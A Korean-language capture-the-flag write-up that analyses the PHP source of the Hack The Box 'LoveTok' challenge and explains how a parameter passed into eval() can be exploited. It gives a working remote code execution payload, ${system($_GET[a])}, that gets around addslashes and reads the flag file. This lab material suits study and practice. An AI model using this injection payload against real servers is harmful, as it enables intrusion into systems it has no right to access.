Hack The Box LoveTok 문제를 풀어봅시다.
Main Page
메인 페이지는 아래와 같습니다.
format
을 변수를 입력받아 날짜 비슷하게 출력해주는 기능이 존재합니다.
Vuln Point
WEB ROOT 최상의 index.php
를 보면 다음과 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
<?php
$router = new Router();
-> Router 클래스의 인스턴스를 생성함
$router->new('GET', '/', 'TimeController@index');
-> Router 클래스의 생성자(Method, Route, Controller)를 접근하여 인스턴스를 생성함
$response = $router->match();
-> 생성된 인스턴스의 match()함수에 접근하고 $reponse에 결과를 저장
die($response);
결과를 출력하고 종료함
코드 분석을 통해 GET
요청에서 /
에서 TimeController Class
의 index()
를 컨트롤러로 사용하는 것을 알 수 있습니다.
TimeController.php
코드를 보면 format
을 변수로 받고, 값이 없으면 r
이 할당됩니다.
TimeModel($format)이라는 $time 인스터스를 생성하고 getTime의 접근결과를 다시 Router의 view로 전달하여 결과를 리턴합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TimeController
{
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : 'r';
-> format 변수를 입력받음, 없으면 format=r임
$time = new TimeModel($format);
-> TimeModel(변수값)의 인스터스를 생성함
return $router->view('index', ['time' => $time->getTime()]);
-> time->getTime() 결과를 배열로 받고, 다시 view에 넘겨줌
}
}
view()
함수를 보면 단순 결과값을 보여주는 코드임을 알 수 있습니다.
1
2
3
4
5
6
public function view($view, $data = [])
{
extract($data);
include __DIR__."/views/${view}.php";
exit;
}
중요한건 다시 TimeModel 클래스인데 TimeModel.php
의 중요 코드를 아래와 같습니다.
- addslashes($format) -> 우리가 입력한 변수 이스케이프 처리
- getTime()함수에서 eval = date()함수를 실행 및 결과를 리턴함
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class TimeModel
{
public function __construct($format)
{
$this->format = addslashes($format);
-> 우리가 입력한 변수 이스케이프 처리
[ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
$this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
}
public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
-> 코드 실행 가능함
return isset($time) ? $time : 'Something went terribly wrong';
}
}
php eval() eval()설명을 볼 수 있고, 임의의 PHP 코드 실행을 허용하므로 위험하다고 알 수 있습니다.
Solve
아래의 조건을 만족하여 우회를 할 수있습니다.
- addslashes($format) -> 우리가 입력한 변수 이스케이프 처리
- getTime()함수에서 eval = date()함수를 실행 및 결과를 리턴함
addslashes()함수는 '
, "
, \
, NUL
을 이스케이프(앞에 \를 추가)를 처리합니다.
1
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
이를 우회하기 위해 ${system("{명령}")}
으로 php 명령을 실행할 수 있습니다.
하지만 최상단에 위치한 FLAG 파일을 읽기 위해선 '
, "
가 필요하므로 해당방법으론 우회가 불가능합니다.
이를 추가로 우회하는 방법이 PHP에서 $_GET[a]
를 받는방법입니다. 실제로 $_GET[a]
를 받으면 에러가 발생하지만 low Level error php에서 낮은 레벨의 에러라 실행하는 것을 볼 수 있습니다.
즉${system($_GET[a])}&a=ls%20-al %2f;
으로 우회를 할 수 있습니다.
Flag는 cat /flagggQrU에서 확인이 가능합니다.
Reference
https://domdom.tistory.com/85 https://www.php.net/manual/en/language.types.string.php#language.types.string.parsing.simple